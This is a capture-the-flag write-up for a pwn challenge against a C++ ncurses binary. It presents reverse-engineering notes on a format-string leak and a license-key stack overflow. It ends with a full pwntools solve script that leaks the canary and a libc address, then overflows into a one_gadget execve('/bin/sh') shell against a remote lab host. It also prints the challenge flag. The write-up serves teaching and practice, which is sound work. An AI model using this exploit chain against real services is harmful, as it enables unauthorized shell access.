A pwn challenge against a binary with an ncurses interface
# Facts
- given a binary, its libc, and loader
- C++
- All exploit mitigations enabled
- (Curses) Menu system
- Talk to stdin/stdout through socat in pty mode
# Speculation
- ~~Heap overflow or UaF~~ ⛔️
- Stack overflow ✅
# Things of interest
## Probably a red herring or just a bug
> ... when adding a device if you max out the length of the string in the `IP` field, two characters will overwrite the `Device` field of the next slot and make that slot unavailable
>New country name for configuring VPN is allocated 0x30 bytes, `strcpy()` is used from a buffer that's allowed to be up to 0xff bytes
## Actual vulnerabilities
1. Format string injection when printing a new country name that fails validation. This can leak information from the stack including:
- [x] Stack canaries
- [x] libc addresses
- [x] Other writeable areas of memory
```cpp=
wgetnstr(stdscr,ctrinp,0xff);
...
printw("This location is not allowed: [");
printw(ctrinp);
```
2. License key input is stored on the stack but not enough space was allocated; classic buffer overflow
```cpp
wgetnstr(stdscr,lickeyinp,0x14e); // reads too much on the stack
```
# Reverse Engineering Notes
## Structure
1. Large infinite while loop
2. Takes user input and calls the appropriate functions so long as `slot` < 9
3. Stack canary checks
4. Menu system in ncurses
## Functions
### Setup
```cpp
void setup(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
initscr();
cbreak();
noecho();
keypad(stdscr,1);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```
### Add Device
- Get a slot number using `int wgetnstr(WINDOW *win, char *str, int n);`
- `str` is on the stack
- Looks like several try catch blocks (will need to understand the memory layout of handlers)
- `basic_string` allocated from `str` char array
- `String` ptr seems to be in an array on the stack
- `strtoi()` on the `String` object
- value returned is given to `check_slot`
- `iVar2 = strcmp(dev + param_1 * 0x20,"No device"); return iVar2 == 0`
- `dev` is a global variable
- String object is deallocated
- Error if `check_slot() == 0`
- Device name goes directly into `.data` space:
- `wgetnstr(stdscr,dev + (long)someInteger * 0x20,0xc)`
- Device IP goes directly into `.data` space
- `wgetnstr(stdscr,(long)slot_num * 0x20 + (dev+0x10),0x12);`
- 0x80 bytes are malloc'd and pointer is stored for the slot
- `*(void **)(location + (long)slot_num * 8) = heapPtr;`
- Randomly chosen country (`rand() % 9`) is copied:
- `strcpy(heapPtr,countryPtr);`
- Global variable slot gets incremented
### Configure VPN
- Get valid slot number
- Give new country name in array `ctrinp`
- `wgetnstr(stdscr,ctrinp,0xff);`
- Array is scanned for first newline and then replaces with null byte
- Each country is checked for comparison:
```cpp
length = strlen((&countries)[idx]); //
slot_num = strncmp(ctrinp,(&countries)[idx],length);
```
- `strncmp` can probably be tricked, though not sure null byte is included
- If comparison is good, new memory is allocated and string is copied:
```cpp
heapPtr = (undefined *)malloc(0x30);
(&location)[slot_num] = heapPtr; // I think this is a memory leak from old ptr
strcpy((&location)[slot_num],ctrinp); // probably a heap overflow here
```
- After asking for license key y/Y:
```cpp
wgetnstr(stdscr,lickeyinp,0x14e); // reads too much on the stack
fp = fopen("./license.conf","rb");
fgets((char *)&lickeyFileInp,0x19,fp);
chk = strncmp((char *)&lickeyFileInp,lickeyinp,0x19); // can probably be bypassed
```
- `lickeyinp` is a likely stack overflow
- if check is good, unlimited VPN configuring is enabled by setting global variable
- Providing a bad country name allows for leaking stack data using a format string:
```cpp
printw("This location is not allowed: [");
printw(ctrinp);
```
### Remove Device
- Seems to just overwrite the string fields in `dev` and `location`
- Then decrements `slots` global variable
- `heapPtr` is reused, not free'd
## Dynamic analysis
Confirming formating string stack leak:
```bash!
Slot: 1
Current: Greece
Enter new country: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
This location is not allowed: [0x5b0x1f(nil)0x200x7ffed4b922300x558e847449300xfe0x90xe09a58d329611f000x7ffed4b924100x10x558e847400310x7ffed4b924900x558e82bf23ae0xe00031d329611f000x7ffed4b924600x558e82bf34080x558e8472659c0x7ffed4b92490(nil)0xe09a58d329611f000x7ffed
4b925900x558e82bf10160x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7025702
5702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7
0257025702570250x70257025702570250x70257025702570250x7025702570250x7ffaab1c30400xe09a58d329611f00(nil)(nil)0x7ffed4b925b00x558e82bf24140x30xe09a58d329611f000x10x7ffaaaa29d90(nil)0x558e82bf23ae0x1000000000x7ffed4b926c8(nil)0x81f1a4deba80eb720x7ffed4b926c80x558e82bf
23ae0x558e82bf7b280x7ffaab1c30400x7e0c0dacf102eb720x7e04f19b800aeb72(nil)(nil)(nil)(nil)(nil)0xe09a58d329611f00(nil)0x7ffaaaa29e400x7ffed4b926d80x558e82bf7b280x7ffaab1c42e0(nil)(nil)0x558e82bf09400x7ffed4b926c0(nil)(nil)0x558e82bf09650x7ffed4b926b80x1c0x10x7ffed4b
93ba2(nil)0x7ffed4b93bb30x7ffed4b93be90x7ffed4b93c000x7ffed4b93c170x7ffed4b93c280x7ffed4b93c3b0x7ffed4b93c560x7ffed4b93c6a0x7ffed4b93c790x7ffed4b93cb50x7ffed4b93e200x7ffed4b93e630x7ffed4b93e760x7ffed4b93e7e0x7ffed4b93ea00x7ffed4b93ed30x7ffed4b93ee60x7ffed4b93ef20x
7ffed4b93f180x7ffed4b93f250x7ffed4b93f360x7ffed4b93f550x7ffed4b93f6c0x7ffed4b93f800x7ffed4b93f95(nil)0x21]]
Press any key to continue.
```
Confirming stack overlfow:
```bash!
Country changed!
Do you want to unlock the configuration of more devices? (y/n): y
Enter license key: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Invalid license key!*** stack smashing detected ***: terminated
```
Reviewing the crash in `gdb` seems to indicate we can overflow 6 bytes on the return frame. That's OK, because the following bytes are nulls, so this will likely align to allow a single ROP gadget (i.e. magic gadget.)
# Exploit
## Step 0: Interfacing with ncurses
A down arrow key press must be encoded for the terminal type `socat` is making available to the binary
Figured out the correct encoding empirically from Wireshark:
- `\x1bOB`
Apparently, from [vt100.net](https://vt100.net/docs/vt510-rm/DECCKM.html)
> `\x1bOB` is the encoding used to represent cursor keys when DECCKM is enabled. The default is disabled and cursor up is represented as the ANSI CSI A. When DECCKM is enabled SS3 A is used instead.
## Step 1: (Bypass ASLR) Leaking everything from the stack
As this binary has stack canaries, PIE, NX, Full RELRO, and ASLR we need to leak the following:
- [X] Stack canary
- [X] libc address
- [X] other addresess necessary for the return-2-libc
Since we can leak about 128 stack values, all of the necessary information should be there.
Flipping between gdb and multiple runs of the stack leak revealed the following offsets:
```python!
# Gimme all them hexadecimal lookin' numbers
data = re.findall(br"0x[a-f0-9]{1,16}", stack_leak)
# Offsets determined empirically, they line up more often than not
# the regex adds an extra 0 sometimes because it's greedy
# so clip it
canary = data[53]
libc_addr = data[54][:-1] # __libc_start_main+128
rbp_offset_addr = data[2][:-1] # rbp must be writeable for magic gadget
```
With that information, the offset from image base can be found from the ELF binaries (e.g. find them in Ghidra, etc.) and subtracted to calculate image base thus defeating ASLR.
```python=
some_libc_place = int(libc_addr,16)
img_base = some_libc_place - 0x29e4 # Found from Ghidra
magic_gadget = img_base + 0xebcf8 # same
call_magic_addr = struct.pack("Q", magic_gadget)
```
`call_magic_addr` is the address of a ROP gadget in the provided libc that will eventually call `execve(/bin/sh)` and spawn a shell:
```bash=
$ one_gadget glibc/libc.so.6
...
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
```
## Step 2: (Redirect RIP) Getting the overflow right
After spending much time in GDB, the offsets were determined via `msf_pattern_create`
```python!
# Use msf pattern for easy viewing in debugger
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj" + \
canary + b"a7Aa8Aa9Ab0Ab1A\x16" + rbp_addr + call_magic_addr
```
## Step 3: Overcome `0x7f` addresses
The last part is annoying because libc addresess (e.g. `0x7ffed4b93bb3`) are almost always mapped to something starting with `0x7f` which is the delete character 🙄. Sending this control character will literally delete the following character and not be written to memory directly.
Two options:
1. Find a way to encode `0x7f`
2. Try again until libc is mapped into something starting with `0x7e`
I pursued option 2 because it was simple.
# Full PoC
```python=
#!/usr/bin/env python3
from pwn import *
import re
import struct
# found using a wirshark capture when using socat
DOWN_ARROW = b"\x1bOB" # SSE A Control character when DECCKM is enabled otherwise ANSI CSI
def conn():
if args.LOCAL:
r = remote('localhost', 1337)
exe = ELF("device_control_patched")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe
else:
r = remote('94.237.52.136', 40222)
return r
def build_rop(canary, libc_addr, rbp_addr):
#pwnlib probably has built-ins for this
some_libc_place = int(libc_addr,16)
img_base = some_libc_place - 0x29e4 # Found from Ghidra
magic_gadget = img_base + 0xebcf8 # same
call_magic_addr = struct.pack("Q", magic_gadget)
print ("magic_gadget = %s" % hex(magic_gadget))
libc_addr = struct.pack("Q", int(libc_addr, 16))
rbp_addr = struct.pack("Q", int(rbp_addr, 16))
canary = struct.pack("Q", int(canary, 16))
# Use msf pattern for easy viewing in debugger
return b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj" + \
canary + b"a7Aa8Aa9Ab0Ab1A\x16" + rbp_addr + call_magic_addr
def main():
r = conn()
# Add device
r.recv()
r.sendline()
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(b"pwn")
r.recv()
r.sendline(b"pwn")
r.recv()
r.sendline()
r.recv()
# Configure VPN
r.send(DOWN_ARROW*3)
r.sendline()
r.recv()
r.sendline(b"1")
r.recv()
# Trigger leak format string
r.sendline(b"%p"*128)
stack_leak = r.recvuntil(']')
# Gimme all them hexadecimal lookin' numbers
data = re.findall(br"0x[a-f0-9]{1,16}", stack_leak)
# Useful to look at all the stack values
# for i,j in enumerate(data):
# print("%s %s" % (i,j))
# Offsets determined empirically, they line up more often than not
# the regex adds an extra 0 sometimes because it's greedy
# so clip it
canary = data[53]
libc_addr = data[54][:-1] # __libc_start_main+128
rbp_offset_addr = data[2][:-1]
# Print out for manual inspection
print("Canary: %s" % canary)
print("libc_addr: %s" % libc_addr)
print("rbp_offset_addr: %s" % rbp_offset_addr)
# Build overflow and ret-2-libc ROP
rop_payload = build_rop(canary, libc_addr, rbp_offset_addr)
# Reenter configure_vpn
r.sendline()
r.send(DOWN_ARROW*3)
# Avoid control character issues if we can
# There probably is a way to escape 0x7f
# that will work; easier to get lucky
# Also canary tends to be a big boi
if b"0x7e" not in libc_addr or len(canary) < 17:
print("not worth it")
return
# Useful to double check the leaks
# or attach gdb for local testing
input("fire?")
# Navigate down to license key input
r.sendline()
r.recv()
r.sendline(b"1")
r.recv()
r.sendline("Germany")
r.recv()
r.sendline("y")
r.recvuntil("key:")
# Send the payload
r.sendline(rop_payload)
# You should have a shell
r.interactive()
if __name__ == "__main__":
main()
```
Just run in a while loop and wait until you see `fire?`, inspect the leaked addresses for sanity and then hit enter to continue:
```bash=
while true;
do
./solve.py
done
```
If it worked you should pop a shell.
## Flag
`HTB{c0ntr0l_ch4r4ct3r5_4r3_p41n}`